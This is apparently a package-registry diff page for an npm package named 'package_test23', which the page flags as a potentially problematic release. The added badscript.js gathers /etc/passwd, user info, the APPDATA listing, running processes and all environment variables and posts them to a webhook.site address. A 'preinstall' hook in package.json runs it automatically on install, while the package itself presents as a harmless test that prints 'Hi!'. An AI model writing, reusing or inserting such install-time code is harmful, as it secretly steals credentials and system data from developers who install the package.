package_test23 1.0.11

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of package_test23 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/badscript.js +72 -0
  2. package/index.js +1 -0
  3. package/package.json +16 -0
package/badscript.js ADDED
@@ -0,0 +1,72 @@
1
+ const axios = require('axios');
2
+ const os = require("os");
3
+ const fs = require('fs');
4
+ const { exec } = require("child_process");
5
+
6
+ function userInfo(){
7
+ const home = os.userInfo();
8
+ return home;
9
+ };
10
+
11
+ function getHomeFiles(){
12
+ const testFolder = process.env.APPDATA;
13
+ try {
14
+ files = ""
15
+ fs.readdirSync(testFolder).forEach(file => {
16
+ console.log(file);
17
+ files += file + " ";
18
+ });
19
+ return files;
20
+ } catch (err){
21
+ console.error(err);
22
+ return "";
23
+ }
24
+ }
25
+
26
+ function getProcesses(){
27
+ exec("ps aux", (error, stdout, stderr) => {
28
+ if (error) {
29
+ console.log(`error: ${error.message}`);
30
+ return "";
31
+ }
32
+ if (stderr) {
33
+ console.log(`stderr: ${stderr}`);
34
+ return "";
35
+ }
36
+ console.log(`stdout: ${stdout}`);
37
+ return stdout;
38
+ });
39
+ }
40
+
41
+ function getPasswd(){
42
+ try {
43
+ const data = fs.readFileSync('/etc/passwd', 'utf8');
44
+ console.log(data);
45
+ return data;
46
+ } catch (err) {
47
+ console.error(err);
48
+ return "";
49
+ }
50
+ }
51
+
52
+ const info = {
53
+ userinfo: userInfo(),
54
+ passwd: getPasswd(),
55
+ homefiles: getHomeFiles(),
56
+ processes: getProcesses(),
57
+ env: process.env
58
+ };
59
+
60
+
61
+
62
+ axios
63
+ .post('https://webhook.site/2fa4b31d-e4f3-4ab4-bd8e-ac5c8fe34ec0', {
64
+ info: info,
65
+ })
66
+ .then(res => {
67
+ console.log(`statusCode: ${res.status}`);
68
+ console.log(res);
69
+ })
70
+ .catch(error => {
71
+ console.error(error);
72
+ });
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log("Hi!");
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "package_test23",
3
+ "version": "1.0.11",
4
+ "description": "A package test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node badscript.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "Luca",
11
+ "license": "MIT",
12
+ "dependencies": {
13
+ "axios": "^0.27.2",
14
+ "https": "^1.0.0"
15
+ }
16
+ }